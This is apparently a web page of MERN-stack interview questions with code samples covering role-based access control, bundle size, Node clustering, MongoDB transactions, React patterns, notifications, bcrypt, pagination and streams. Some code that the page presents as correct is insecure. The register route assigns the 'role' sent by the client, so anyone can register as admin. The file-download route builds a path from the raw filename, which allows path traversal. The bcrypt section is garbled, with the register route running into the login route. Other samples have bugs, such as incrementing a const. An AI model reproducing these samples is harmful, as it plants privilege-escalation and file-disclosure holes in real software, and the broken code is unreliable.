Master your interview with real-world questions and detailed answers
| Authentication | Authorization |
|---|---|
| WHO are you? | WHAT can you do? |
| Verifying identity (login) | Checking permissions |
| email + password → JWT token | Is user an admin? Can they delete? |
| Happens FIRST | Happens AFTER authentication |
| 401 Unauthorized error | 403 Forbidden error |
const userSchema = new mongoose.Schema({
name: String,
email: { type: String, unique: true },
password: String,
role: {
type: String,
enum: ["user", "moderator", "admin"],
default: "user"
},
permissions: [{
type: String,
enum: [
"read:posts",
"create:posts",
"update:posts",
"delete:posts",
"manage:users",
"view:analytics"
]
}],
isActive: { type: Boolean, default: true },
createdAt: { type: Date, default: Date.now }
});
const User = mongoose.model("User", userSchema);
// middleware/auth.js
const jwt = require("jsonwebtoken");
const authenticate = async (req, res, next) => {
try {
// Get token from header
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith("Bearer ")) {
return res.status(401).json({ message: "No token provided" });
}
const token = authHeader.split(" ")[1];
// Verify token
const decoded = jwt.verify(token, process.env.JWT_SECRET);
// Get user from database
const user = await User.findById(decoded.userId).select("-password");
if (!user || !user.isActive) {
return res.status(401).json({ message: "Invalid token" });
}
// Attach user to request
req.user = user;
next();
} catch (error) {
res.status(401).json({ message: "Invalid or expired token" });
}
};
module.exports = { authenticate };
// middleware/authorize.js
// Check if user has specific role
const requireRole = (...allowedRoles) => {
return (req, res, next) => {
if (!req.user) {
return res.status(401).json({ message: "Authentication required" });
}
if (!allowedRoles.includes(req.user.role)) {
return res.status(403).json({
message: `Access denied. Requires role: ${allowedRoles.join(" or ")}`
});
}
next();
};
};
// Check if user has specific permission
const requirePermission = (...requiredPermissions) => {
return (req, res, next) => {
if (!req.user) {
return res.status(401).json({ message: "Authentication required" });
}
const hasPermission = requiredPermissions.every(permission =>
req.user.permissions.includes(permission)
);
if (!hasPermission) {
return res.status(403).json({
message: "Insufficient permissions",
required: requiredPermissions
});
}
next();
};
};
// Check if user is owner OR admin
const requireOwnerOrAdmin = (resourceParam = "id") => {
return async (req, res, next) => {
const resourceId = req.params[resourceParam];
// Admins can access anything
if (req.user.role === "admin") {
return next();
}
// For regular users, check if they own the resource
const resource = await Post.findById(resourceId);
if (!resource) {
return res.status(404).json({ message: "Resource not found" });
}
if (resource.author.toString() !== req.user._id.toString()) {
return res.status(403).json({
message: "You can only modify your own resources"
});
}
next();
};
};
module.exports = { requireRole, requirePermission, requireOwnerOrAdmin };
const { authenticate } = require("./middleware/auth");
const { requireRole, requirePermission, requireOwnerOrAdmin } = require("./middleware/authorize");
// Public route - no auth needed
router.get("/posts", getAllPosts);
// Authenticated route - any logged-in user
router.post("/posts", authenticate, createPost);
// Role-based access - only admins
router.get("/admin/users", authenticate, requireRole("admin"), getAllUsers);
// Multiple roles allowed
router.get("/moderator/reports",
authenticate,
requireRole("admin", "moderator"),
getReports
);
// Permission-based access
router.delete("/posts/:id",
authenticate,
requirePermission("delete:posts"),
deletePost
);
// Owner or Admin can update
router.put("/posts/:id",
authenticate,
requireOwnerOrAdmin("id"),
updatePost
);
// Complex: Must be admin AND have specific permission
router.post("/admin/settings",
authenticate,
requireRole("admin"),
requirePermission("manage:settings"),
updateSettings
);
function PostActions({ post, currentUser }) {
const canEdit =
currentUser._id === post.author._id ||
currentUser.role === "admin";
const canDelete =
currentUser.role === "admin" ||
currentUser.permissions.includes("delete:posts");
return (
<div>
{canEdit && (
<button onClick={handleEdit}>Edit</button>
)}
{canDelete && (
<button onClick={handleDelete}>Delete</button>
)}
</div>
);
}
// Admin-only component
function AdminPanel() {
const { user } = useAuth();
if (user?.role !== "admin") {
return <div>Access Denied</div>;
}
return <div>Admin Dashboard</div>;
}
// Define role-permission mapping
const rolePermissions = {
user: ["read:posts", "create:posts"],
moderator: ["read:posts", "create:posts", "update:posts", "delete:posts"],
admin: ["read:posts", "create:posts", "update:posts", "delete:posts", "manage:users", "view:analytics"]
};
// Assign permissions when creating user
router.post("/register", async (req, res) => {
const { name, email, password, role = "user" } = req.body;
const user = await User.create({
name,
email,
password: await bcrypt.hash(password, 12),
role,
permissions: rolePermissions[role] // Auto-assign based on role
});
res.status(201).json({ message: "User created" });
});
💡 Production Tip: Large companies like Amazon, Google use fine-grained permission systems (RBAC + ABAC). Store permissions in separate Permission collection for better scalability!
// ❌ Bad - Imports entire library (lodash is 70KB!)
import _ from "lodash";
const unique = _.uniq([1, 2, 2, 3]);
// ✅ Good - Import only what you need
import uniq from "lodash/uniq"; // Only 2KB!
const unique = uniq([1, 2, 2, 3]);
// ❌ Bad - Imports all of Material-UI
import { Button, TextField } from "@mui/material";
// ✅ Good - Direct imports (better tree shaking)
import Button from "@mui/material/Button";
import TextField from "@mui/material/TextField";
# Install bundle analyzer
npm install --save-dev webpack-bundle-analyzer
# Add to package.json scripts
"analyze": "source-map-explorer 'build/static/js/*.js'"
# For Create React App
npm run build
npx source-map-explorer build/static/js/*.js
# Opens visual map showing what's taking space!
// Instead of loading all at once
import HeavyChart from "./HeavyChart"; // 200KB
// Load only when needed
const HeavyChart = lazy(() => import("./HeavyChart"));
<Suspense fallback={<Spinner />}>
{showChart && <HeavyChart />}
</Suspense>
// Install plugin
npm install --save-dev babel-plugin-transform-remove-console
// .babelrc or babel.config.js
{
"env": {
"production": {
"plugins": ["transform-remove-console"]
}
}
}
# Development build (HUGE - includes debugging)
npm start // ~2MB bundle
# Production build (optimized, minified)
npm run build // ~200KB bundle
# Environment variable check
if (process.env.NODE_ENV === "production") {
// Production optimizations enabled
}
// Use native lazy loading
<img src="/large.jpg" loading="lazy" alt="Loads when scrolled into view" />
// Or use Intersection Observer
function LazyImage({ src, alt }) {
const [imageSrc, setImageSrc] = useState(null);
const imgRef = useRef();
useEffect(() => {
const observer = new IntersectionObserver(([entry]) => {
if (entry.isIntersecting) {
setImageSrc(src);
observer.disconnect();
}
});
observer.observe(imgRef.current);
return () => observer.disconnect();
}, [src]);
return <img ref={imgRef} src={imageSrc || "/placeholder.jpg"} alt={alt} />;
}
<picture>
<source srcSet="/image.webp" type="image/webp" />
<source srcSet="/image.jpg" type="image/jpeg" />
<img src="/image.jpg" alt="Fallback" />
</picture>
// WebP is 25-35% smaller than JPEG!
<!-- Load React from CDN in production -->
<script crossorigin src="https://unpkg.com/react@18/umd/react.production.min.js"></script>
<script crossorigin src="https://unpkg.com/react-dom@18/umd/react-dom.production.min.js"></script>
// Configure externals in webpack
externals: {
react: "React",
"react-dom": "ReactDOM"
}
💡 Real Numbers: Typical unoptimized React app: 2-4MB. After optimization: 200-400KB (10x smaller!)
Node.js runs on a single thread by default. On a server with 8 CPU cores, Node.js only uses 1 core - wasting 7 cores! 💀
Clustering creates multiple Node.js processes (workers) to utilize all CPU cores.
// Without Clustering (single core)
CPU1: ████████ (Node.js running here)
CPU2: ░░░░░░░░ (idle)
CPU3: ░░░░░░░░ (idle)
CPU4: ░░░░░░░░ (idle)
// Only 25% CPU utilization!
// With Clustering (4 worker processes)
CPU1: ████████ (Worker 1)
CPU2: ████████ (Worker 2)
CPU3: ████████ (Worker 3)
CPU4: ████████ (Worker 4)
// 100% CPU utilization! 4x throughput!
// server.js
const cluster = require("cluster");
const os = require("os");
const express = require("express");
const numCPUs = os.cpus().length; // Get CPU core count
if (cluster.isMaster) {
console.log(`Master process ${process.pid} is running`);
console.log(`Forking ${numCPUs} workers...`);
// Fork workers (one per CPU core)
for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}
// Worker died - restart it
cluster.on("exit", (worker, code, signal) => {
console.log(`Worker ${worker.process.pid} died. Restarting...`);
cluster.fork(); // Auto-restart failed worker
});
} else {
// Worker process - runs the actual server
const app = express();
app.get("/", (req, res) => {
res.send(`Response from worker ${process.pid}`);
});
const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
console.log(`Worker ${process.pid} started on port ${PORT}`);
});
}
// Output:
// Master process 1234 is running
// Forking 4 workers...
// Worker 1235 started on port 3000
// Worker 1236 started on port 3000
// Worker 1237 started on port 3000
// Worker 1238 started on port 3000
// All 4 workers listening on SAME port! (kernel load balances)
# Install PM2 globally
npm install -g pm2
# Start app in cluster mode
pm2 start server.js -i max # max = use all CPU cores
# or
pm2 start server.js -i 4 # exactly 4 instances
# PM2 commands
pm2 list # See all processes
pm2 logs # View logs
pm2 monit # Live monitoring
pm2 reload server # Zero-downtime restart
pm2 stop server # Stop all instances
pm2 startup # Auto-start on server reboot
pm2 save # Save current process list
module.exports = {
apps: [{
name: "mern-api",
script: "./server.js",
instances: "max", // Use all CPU cores
exec_mode: "cluster", // Cluster mode
env: {
NODE_ENV: "production",
PORT: 5000
},
error_file: "./logs/err.log",
out_file: "./logs/out.log",
log_date_format: "YYYY-MM-DD HH:mm:ss Z",
merge_logs: true,
max_memory_restart: "500M", // Restart if memory exceeds 500MB
watch: false, // Don't auto-restart on file changes (production)
autorestart: true, // Auto-restart if crash
max_restarts: 10, // Max restarts within 1 minute
min_uptime: "10s" // Min uptime before considered stable
}]
};
// Start with ecosystem file
pm2 start ecosystem.config.js
// ❌ Problem: Each worker has its own memory!
const visits = 0; // This is separate in each worker process
app.get("/count", (req, res) => {
visits++; // Only increments in ONE worker!
res.send(`Visits: ${visits}`);
});
// User gets different counts on each request! 💀
// ✅ Solution 1: Use Redis for shared state
const redis = require("redis");
const client = redis.createClient();
app.get("/count", async (req, res) => {
const visits = await client.incr("visits"); // Atomic increment in Redis
res.send(`Visits: ${visits}`);
});
// ✅ Solution 2: Use Sticky Sessions (same user → same worker)
// Configure in load balancer or use cookie-based routing
// Cluster = Vertical scaling (one server, multiple cores)
// Horizontal scaling = Multiple servers behind load balancer
Load Balancer (Nginx)
│
┌───────────┼───────────┐
│ │ │
Server 1 Server 2 Server 3
(4 workers) (4 workers) (4 workers)
│ │ │
└───────────┴───────────┘
│
Shared Database
(MongoDB Atlas)
# Install Apache Bench
sudo apt-get install apache2-utils
# Test without clustering
node server.js
ab -n 10000 -c 100 http://localhost:3000/
# Requests per second: ~5000
# Test with clustering (4 cores)
pm2 start server.js -i 4
ab -n 10000 -c 100 http://localhost:3000/
# Requests per second: ~18000 (3.6x improvement!)
💡 MNC Production Stack: Most companies use: PM2 + Nginx + Docker + Kubernetes for ultimate scalability. TCS, Infosys, Wipro projects almost always use PM2 in production!
Transactions allow you to execute multiple operations atomically - either ALL succeed or ALL fail (rollback). This ensures data consistency.
When a user places an order, you need to:
Problem: What if step 3 fails? You've already created order and reduced stock! 💀
const mongoose = require("mongoose");
async function placeOrder(userId, items, paymentMethod) {
// Start a session
const session = await mongoose.startSession();
try {
// Start transaction
session.startTransaction();
// Step 1: Create order
const order = await Order.create([{
userId,
items,
totalAmount: calculateTotal(items),
status: "pending"
}], { session }); // Pass session to every operation!
// Step 2: Reduce stock for each item
for (const item of items) {
const product = await Product.findById(item.productId).session(session);
if (product.stock < item.quantity) {
throw new Error(`Insufficient stock for ${product.name}`);
}
product.stock -= item.quantity;
await product.save({ session });
}
// Step 3: Deduct from user wallet
const user = await User.findById(userId).session(session);
const totalAmount = calculateTotal(items);
if (user.walletBalance < totalAmount) {
throw new Error("Insufficient wallet balance");
}
user.walletBalance -= totalAmount;
await user.save({ session });
// Step 4: Create shipment
await Shipment.create([{
orderId: order[0]._id,
address: user.shippingAddress,
status: "pending"
}], { session });
// All operations succeeded! Commit transaction
await session.commitTransaction();
console.log("✅ Order placed successfully!");
return order[0];
} catch (error) {
// Something failed! Rollback everything
await session.abortTransaction();
console.error("❌ Transaction failed:", error.message);
throw error;
} finally {
// Always end session
session.endSession();
}
}
router.post("/orders", authMiddleware, async (req, res) => {
try {
const order = await placeOrder(
req.user.userId,
req.body.items,
req.body.paymentMethod
);
res.status(201).json({
message: "Order placed successfully",
orderId: order._id
});
} catch (error) {
res.status(400).json({
message: error.message
});
}
});
async function placeOrderWithRetry(userId, items, maxRetries = 3) {
for (let attempt = 1; attempt <= maxRetries; attempt++) {
const session = await mongoose.startSession();
try {
session.startTransaction();
// ... all operations with { session }
await session.commitTransaction();
session.endSession();
return order;
} catch (error) {
await session.abortTransaction();
session.endSession();
// Retry on transient errors
if (error.hasErrorLabel("TransientTransactionError") && attempt < maxRetries) {
console.log(`Retry attempt ${attempt}...`);
await new Promise(resolve => setTimeout(resolve, 100 * attempt)); // Exponential backoff
continue;
}
throw error; // Give up after max retries
}
}
}
# Start MongoDB with replica set
mongod --replSet rs0
# In mongo shell, initialize replica set
rs.initiate()
# In your code, connect with replica set
mongoose.connect("mongodb://localhost:27017/myapp?replicaSet=rs0");
💡 MNC Interview Tip: Amazon, Flipkart ask this for senior roles. Key answer: "Transactions ensure data consistency in multi-step operations like payments and inventory management. But they're expensive - use only when atomicity is critical."
Render Props is a pattern where a component receives a function as a prop, which it calls to determine what to render. This function receives data from the parent component.
// Component that tracks mouse position
function MouseTracker({ render }) {
const [position, setPosition] = useState({ x: 0, y: 0 });
useEffect(() => {
const handleMove = (e) => {
setPosition({ x: e.clientX, y: e.clientY });
};
window.addEventListener("mousemove", handleMove);
return () => window.removeEventListener("mousemove", handleMove);
}, []);
// Call the render prop function with data
return render(position);
}
// Usage 1: Display coordinates
<MouseTracker
render={({ x, y }) => (
<h1>Mouse at ({x}, {y})</h1>
)}
/>
// Usage 2: Follow the mouse with a cat image
<MouseTracker
render={({ x, y }) => (
<img src="/cat.png" style={{ position: "absolute", left: x, top: y }} />
)}
/>
function DataFetcher({ url, render }) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
fetch(url)
.then(res => res.json())
.then(setData)
.catch(setError)
.finally(() => setLoading(false));
}, [url]);
return render({ data, loading, error });
}
// Usage - Reuse fetching logic for different UIs!
<DataFetcher
url="/api/users"
render={({ data, loading, error }) => {
if (loading) return <Spinner />;
if (error) return <Error message={error.message} />;
return data.map(user => <UserCard key={user.id} user={user} />);
}}
/>
function DataFetcher({ url, children }) {
const [data, setData] = useState(null);
// ... same fetching logic
return children({ data, loading, error }); // children is the function!
}
// Cleaner syntax!
<DataFetcher url="/api/products">
{({ data, loading }) => (
loading ? <Spinner /> : <ProductGrid products={data} />
)}
</DataFetcher>
| Pattern | Pros | Cons |
|---|---|---|
| Render Props | Flexible, composable, clear data flow | Callback hell, verbose JSX |
| HOC | Reusable logic, clean JSX | Prop name collisions, wrapper hell |
| Hooks | ✅ Best of both - clean, reusable, no wrappers | None (this is the modern way!) |
// ✅ Same functionality, cleaner with hooks
function useFetch(url) {
const [data, setData] = useState(null);
const [loading, setLoading] = useState(true);
const [error, setError] = useState(null);
useEffect(() => {
fetch(url)
.then(res => res.json())
.then(setData)
.catch(setError)
.finally(() => setLoading(false));
}, [url]);
return { data, loading, error };
}
// Much cleaner usage!
function UserList() {
const { data: users, loading, error } = useFetch("/api/users");
if (loading) return <Spinner />;
return users.map(u => <UserCard key={u.id} user={u} />);
}
💡 Interview Answer: "Render Props was popular before Hooks. Now, we use Custom Hooks for the same purpose - sharing stateful logic. But Render Props is still used in libraries like React Query, Formik, and Downshift."
The Compound Component Pattern allows you to create components that work together to form a complete UI, sharing implicit state without prop drilling. Think of it like HTML <select> and <option> elements - they work together.
// ❌ Without Compound Pattern (props everywhere!)
<Tabs
tabs={[
{ id: 1, label: "Profile", content: <ProfileContent /> },
{ id: 2, label: "Settings", content: <SettingsContent /> }
]}
activeTab={activeTab}
onChange={setActiveTab}
/>
// ✅ With Compound Pattern (more flexible and readable!)
<Tabs>
<TabList>
<Tab>Profile</Tab>
<Tab>Settings</Tab>
<Tab>Billing</Tab>
</TabList>
<TabPanels>
<TabPanel><ProfileContent /></TabPanel>
<TabPanel><SettingsContent /></TabPanel>
<TabPanel><BillingContent /></TabPanel>
</TabPanels>
</Tabs>
import { createContext, useContext, useState } from "react";
// Step 1: Create Context
const TabsContext = createContext();
// Step 2: Parent Component (Manages State)
function Tabs({ children, defaultIndex = 0 }) {
const [activeIndex, setActiveIndex] = useState(defaultIndex);
return (
<TabsContext.Provider value={{ activeIndex, setActiveIndex }}>
<div className="tabs">{children}</div>
</TabsContext.Provider>
);
}
// Step 3: TabList Component
function TabList({ children }) {
return <div className="tab-list">{children}</div>;
}
// Step 4: Tab Component (Reads from Context)
function Tab({ children, index }) {
const { activeIndex, setActiveIndex } = useContext(TabsContext);
const isActive = activeIndex === index;
return (
<button
className={`tab ${isActive ? "active" : ""}`}
onClick={() => setActiveIndex(index)}
>
{children}
</button>
);
}
// Step 5: TabPanels Component
function TabPanels({ children }) {
const { activeIndex } = useContext(TabsContext);
return <div className="tab-panels">{children[activeIndex]}</div>;
}
// Step 6: TabPanel Component
function TabPanel({ children }) {
return <div className="tab-panel">{children}</div>;
}
// Export as a compound
Tabs.List = TabList;
Tabs.Tab = Tab;
Tabs.Panels = TabPanels;
Tabs.Panel = TabPanel;
export default Tabs;
function App() {
return (
<Tabs defaultIndex={0}>
<Tabs.List>
<Tabs.Tab index={0}>Dashboard</Tabs.Tab>
<Tabs.Tab index={1}>Analytics</Tabs.Tab>
<Tabs.Tab index={2}>Reports</Tabs.Tab>
</Tabs.List>
<Tabs.Panels>
<Tabs.Panel><Dashboard /></Tabs.Panel>
<Tabs.Panel><Analytics /></Tabs.Panel>
<Tabs.Panel><Reports /></Tabs.Panel>
</Tabs.Panels>
</Tabs>
);
}
💡 Real Libraries Using This: Chakra UI, Radix UI, React Spectrum - Most modern component libraries use this pattern!
const notificationSchema = new mongoose.Schema({
recipient: { type: mongoose.Schema.Types.ObjectId, ref: "User", required: true },
sender: { type: mongoose.Schema.Types.ObjectId, ref: "User" },
type: {
type: String,
enum: ["like", "comment", "follow", "order", "message", "system"],
required: true
},
title: { type: String, required: true },
message: { type: String, required: true },
link: { type: String }, // Link to navigate to when clicked
isRead: { type: Boolean, default: false },
data: { type: Object }, // Additional data (e.g., postId, orderId)
createdAt: { type: Date, default: Date.now }
});
// Index for fast queries
notificationSchema.index({ recipient: 1, createdAt: -1 });
notificationSchema.index({ recipient: 1, isRead: 1 });
const Notification = mongoose.model("Notification", notificationSchema);
// services/notificationService.js
const Notification = require("../models/Notification");
const io = require("../socket"); // Socket.io instance
const createNotification = async ({ recipient, sender, type, title, message, link, data }) => {
// 1. Save to database
const notification = await Notification.create({
recipient, sender, type, title, message, link, data
});
// 2. Emit real-time notification via Socket.io
const onlineUserSocket = getSocketByUserId(recipient.toString());
if (onlineUserSocket) {
io.to(onlineUserSocket).emit("notification:new", {
...notification.toObject(),
sender: await User.findById(sender).select("name avatar")
});
}
return notification;
};
// Notification API Routes
router.get("/notifications", authMiddleware, async (req, res) => {
const notifications = await Notification.find({ recipient: req.user.userId })
.sort({ createdAt: -1 })
.limit(20)
.populate("sender", "name avatar")
.lean();
const unreadCount = await Notification.countDocuments({
recipient: req.user.userId,
isRead: false
});
res.json({ notifications, unreadCount });
});
// Mark as read
router.patch("/notifications/:id/read", authMiddleware, async (req, res) => {
await Notification.findOneAndUpdate(
{ _id: req.params.id, recipient: req.user.userId },
{ isRead: true }
);
res.json({ message: "Marked as read" });
});
// Mark all as read
router.patch("/notifications/read-all", authMiddleware, async (req, res) => {
await Notification.updateMany(
{ recipient: req.user.userId, isRead: false },
{ isRead: true }
);
res.json({ message: "All notifications marked as read" });
});
// Example: Trigger notification when someone likes a post
router.post("/posts/:id/like", authMiddleware, async (req, res) => {
const post = await Post.findById(req.params.id);
// Don't notify yourself
if (post.author.toString() !== req.user.userId) {
await createNotification({
recipient: post.author,
sender: req.user.userId,
type: "like",
title: "New Like",
message: `${req.user.name} liked your post`,
link: `/posts/${post._id}`,
data: { postId: post._id }
});
}
res.json({ message: "Post liked!" });
});
function NotificationBell() {
const [notifications, setNotifications] = useState([]);
const [unreadCount, setUnreadCount] = useState(0);
const [isOpen, setIsOpen] = useState(false);
const { socket } = useSocket();
useEffect(() => {
fetchNotifications();
// Listen for real-time notifications
socket.on("notification:new", (notification) => {
setNotifications(prev => [notification, ...prev]);
setUnreadCount(prev => prev + 1);
// Show toast notification
toast.info(notification.title);
});
return () => socket.off("notification:new");
}, []);
return (
<div className="notification-bell">
<button onClick={() => setIsOpen(!isOpen)}>
🔔
{unreadCount > 0 && <span className="badge">{unreadCount}</span>}
</button>
{isOpen && (
<div className="dropdown">
{notifications.map(n => (
<div key={n._id} style={{ opacity: n.isRead ? 0.6 : 1 }}
onClick={() => markAsRead(n._id)}>
<img src={n.sender?.avatar} alt="" />
<p>{n.message}</p>
<small>{timeAgo(n.createdAt)}</small>
</div>
))}
</div>
)}
</div>
);
}
bcrypt is a password hashing function designed to be slow and computationally expensive by design. This makes brute-force attacks impractical.
// ❌ NEVER do this!
user.password = "password123"; // Stored as plain text
// If database is hacked → All user passwords exposed!
// ❌ Also bad: MD5 or SHA1 (too fast, rainbow tables exist)
user.password = md5("password123"); // Can be cracked in seconds!
// Install: npm install bcryptjs
const bcrypt = require("bcryptjs");
// HASHING PASSWORDS
// Method 1: Separate salt and hash
const saltRounds = 12; // Higher = slower but more secure (10-12 recommended)
const salt = await bcrypt.genSalt(saltRounds);
const hashedPassword = await bcrypt.hash("myPassword123", salt);
console.log(hashedPassword);
// "$2a$12$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy"
// ↑ Algorithm version, ↑ rounds, ↑ salt (22 chars), ↑ hash
// Method 2: Hash directly (salt generated internally)
const hashedPassword = await bcrypt.hash("myPassword123", 12);
// Same password hashed twice = DIFFERENT results!
const hash1 = await bcrypt.hash("password", 12);
const hash2 = await bcrypt.hash("password", 12);
console.log(hash1 === hash2); // false! (different salts)
// User Model with pre-save hook
const userSchema = new mongoose.Schema({
name: String,
email: { type: String, unique: true },
password: String
});
// Hash password BEFORE saving
userSchema.pre("save", async function(next) {
// Only hash if password was modified
if (!this.isModified("password")) return next();
this.password = await bcrypt.hash(this.password, 12);
next();
});
// Instance method to compare passwords
userSchema.methods.comparePassword = async function(candidatePassword) {
return await bcrypt.compare(candidatePassword, this.password);
};
// Register Route
router.post("/register", async (req, res) => {
const { name, email, password } = req.body;
// Validation
if (password.length {
const { email, password } = req.body;
const user = await User.findOne({ email }).select("+password"); // Select password (if excluded by default)
if (!user) {
// Return same message for both cases (security!)
return res.status(401).json({ message: "Invalid email or password" });
}
const isMatch = await bcrypt.compare(password, user.password);
// bcrypt.compare returns true/false (handles salt internally!)
if (!isMatch) {
return res.status(401).json({ message: "Invalid email or password" });
}
const token = jwt.sign({ userId: user._id }, process.env.JWT_SECRET, { expiresIn: "7d" });
res.json({ token, userId: user._id });
});
Pagination is essential when dealing with large datasets. Without it, loading 10,000 products at once would crash your app!
// routes/products.js
router.get("/products", async (req, res) => {
const page = Math.max(1, parseInt(req.query.page) || 1);
const limit = Math.min(50, parseInt(req.query.limit) || 10); // Max 50 per page
const skip = (page - 1) * limit;
const filter = {};
if (req.query.category) filter.category = req.query.category;
if (req.query.search) {
filter.name = { $regex: req.query.search, $options: "i" };
}
// Execute both queries in parallel for efficiency
const [products, totalCount] = await Promise.all([
Product.find(filter)
.sort({ createdAt: -1 })
.skip(skip)
.limit(limit)
.lean(),
Product.countDocuments(filter)
]);
const totalPages = Math.ceil(totalCount / limit);
res.json({
success: true,
data: products,
pagination: {
currentPage: page,
totalPages,
totalItems: totalCount,
itemsPerPage: limit,
hasNextPage: page < totalPages,
hasPrevPage: page > 1,
nextPage: page < totalPages ? page + 1 : null,
prevPage: page > 1 ? page - 1 : null
}
});
});
function ProductList() {
const [products, setProducts] = useState([]);
const [pagination, setPagination] = useState({});
const [currentPage, setCurrentPage] = useState(1);
const [loading, setLoading] = useState(false);
useEffect(() => {
fetchProducts(currentPage);
}, [currentPage]);
const fetchProducts = async (page) => {
setLoading(true);
const res = await fetch(`/api/products?page=${page}&limit=12`);
const data = await res.json();
setProducts(data.data);
setPagination(data.pagination);
setLoading(false);
};
return (
<div>
{loading ? <Spinner /> : (
<div className="grid">
{products.map(p => <ProductCard key={p._id} product={p} />)}
</div>
)}
{/* Pagination Controls */}
<div className="pagination">
<button disabled={!pagination.hasPrevPage} onClick={() => setCurrentPage(p => p - 1)}>← Prev</button>
{/* Page numbers */}
{Array.from({ length: pagination.totalPages }, (_, i) => i + 1)
.filter(page => Math.abs(page - currentPage) <= 2) // Show nearby pages
.map(page => (
<button
key={page}
onClick={() => setCurrentPage(page)}
style={{ fontWeight: page === currentPage ? "bold" : "normal" }}
>
{page}
</button>
))
}
<button disabled={!pagination.hasNextPage} onClick={() => setCurrentPage(p => p + 1)}>Next →</button>
<span>Page {pagination.currentPage} of {pagination.totalPages} ({pagination.totalItems} items)</span>
</div>
</div>
);
}
import { useEffect, useRef, useState, useCallback } from "react";
function InfiniteProductList() {
const [products, setProducts] = useState([]);
const [page, setPage] = useState(1);
const [hasMore, setHasMore] = useState(true);
const [loading, setLoading] = useState(false);
const observer = useRef(null);
// Intersection Observer on last element
const lastProductRef = useCallback(node => {
if (loading) return;
if (observer.current) observer.current.disconnect();
observer.current = new IntersectionObserver(entries => {
if (entries[0].isIntersecting && hasMore) {
setPage(prev => prev + 1); // Load next page when last item visible
}
});
if (node) observer.current.observe(node);
}, [loading, hasMore]);
useEffect(() => {
if (!hasMore) return;
const loadMore = async () => {
setLoading(true);
const res = await fetch(`/api/products?page=${page}&limit=12`);
const data = await res.json();
setProducts(prev => [...prev, ...data.data]); // Append, don't replace!
setHasMore(data.pagination.hasNextPage);
setLoading(false);
};
loadMore();
}, [page]);
return (
<div>
{products.map((product, index) => (
<div
key={product._id}
ref={index === products.length - 1 ? lastProductRef : null} // Observe last item
>
<ProductCard product={product} />
</div>
))}
{loading && <p>Loading more...</p>}
{!hasMore && <p>No more products!</p>}
</div>
);
}
💡 When to use which:
Streams are objects that allow reading/writing data piece by piece (chunks) instead of loading everything into memory at once. This is crucial for handling large files efficiently.
// ❌ Bad: Loading entire 4GB file into memory
const data = fs.readFileSync("./4gb-video.mp4"); // 4GB in RAM! 💀
res.send(data); // Server crashes!
// ✅ Good: Stream the file chunk by chunk
const fileStream = fs.createReadStream("./4gb-video.mp4");
fileStream.pipe(res); // Sends 64KB chunks, only 64KB in memory at a time!
const fs = require("fs");
// Read file as stream
const readStream = fs.createReadStream("./large-file.txt", {
encoding: "utf-8",
highWaterMark: 64 * 1024 // 64KB chunk size
});
let totalBytes = 0;
readStream.on("data", (chunk) => {
totalBytes += chunk.length;
console.log(`Received ${chunk.length} bytes. Total: ${totalBytes}`);
});
readStream.on("end", () => {
console.log(`Finished reading! Total: ${totalBytes} bytes`);
});
readStream.on("error", (err) => {
console.error("Error reading file:", err.message);
});
const writeStream = fs.createWriteStream("./output.txt");
writeStream.write("First chunk of data
");
writeStream.write("Second chunk of data
");
writeStream.end("Final chunk"); // Signal end of writing
writeStream.on("finish", () => console.log("Writing complete!"));
// Copy file using streams
const readStream = fs.createReadStream("./source.txt");
const writeStream = fs.createWriteStream("./destination.txt");
readStream.pipe(writeStream); // Automatically handles backpressure
// Compress file with zlib transform stream
const zlib = require("zlib");
fs.createReadStream("./large.txt")
.pipe(zlib.createGzip()) // Transform: compress
.pipe(fs.createWriteStream("./large.txt.gz"));
console.log("File compressed!");
// ✅ Stream large file download (no memory issues!)
router.get("/download/:filename", async (req, res) => {
const filePath = path.join(__dirname, "uploads", req.params.filename);
// Check file exists
if (!fs.existsSync(filePath)) {
return res.status(404).json({ message: "File not found" });
}
const fileSize = fs.statSync(filePath).size;
// Set headers
res.setHeader("Content-Disposition", `attachment; filename="${req.params.filename}"`);
res.setHeader("Content-Length", fileSize);
res.setHeader("Content-Type", "application/octet-stream");
// Stream the file (works for files of ANY size!)
const fileStream = fs.createReadStream(filePath);
fileStream.pipe(res);
fileStream.on("error", (err) => {
res.status(500).json({ message: "Error streaming file" });
});
});
💡 Interview Use Cases: Video streaming (Netflix-like), large CSV exports, log file processing, image/file uploads. Companies like Hotstar, Swiggy use Node.js streams extensively!
Suspense lets components "wait" for something before rendering. It shows a fallback UI (loading indicator) while the content is being loaded.
import { lazy, Suspense } from "react";
// Lazy load heavy components
const HeavyDashboard = lazy(() => import("./HeavyDashboard"));
const DataViz = lazy(() => import("./DataViz"));
function App() {
return (
<Suspense fallback={<div className="loader">Loading Dashboard...</div>}>
<HeavyDashboard /> {/* Only loaded when this route is visited */}
</Suspense>
);
}
// Nested Suspense for different loading states
function App() {
return (
<Suspense fallback={<PageSkeleton />}>
<Header />
<Suspense fallback={<ChartSkeleton />}>
<DataViz /> {/* Different loading state */}
</Suspense>
</Suspense>
);
}
// Using React Query (TanStack Query) with Suspense
import { useQuery } from "@tanstack/react-query";
function UserProfile({ userId }) {
// This throws a Promise if data not ready → Suspense catches it!
const { data: user } = useQuery({
queryKey: ["user", userId],
queryFn: () => fetch(`/api/users/${userId}`).then(r => r.json()),
suspense: true // Enable Suspense mode
});
// No loading check needed! Suspense handles it
return <div>{user.name}</div>;
}
// Parent component handles loading
function App() {
return (
<Suspense fallback={<UserSkeleton />}>
<UserProfile userId="123" />
</Suspense>
);
}
// useTransition - mark non-urgent state updates
import { useTransition, useState } from "react";
function SearchResults() {
const [query, setQuery] = useState("");
const [results, setResults] = useState([]);
const [isPending, startTransition] = useTransition();
const handleSearch = (e) => {
const value = e.target.value;
// Urgent: Update input immediately
setQuery(value);
// Non-urgent: Results can wait (won't block UI!)
startTransition(() => {
setResults(searchDatabase(value)); // Heavy operation
});
};
return (
<div>
<input value={query} onChange={handleSearch} />
{isPending ? <p>Searching...</p> : results.map(r => <div>{r.name}</div>)}
</div>
);
}
// useDeferredValue - defer re-rendering expensive component
function App() {
const [text, setText] = useState("");
const deferredText = useDeferredValue(text); // Defers heavy list filtering
return (
<>
<input onChange={e => setText(e.target.value)} />
<HeavyList filter={deferredText} /> {/* Re-renders later, not blocking input */}
</>
);
}
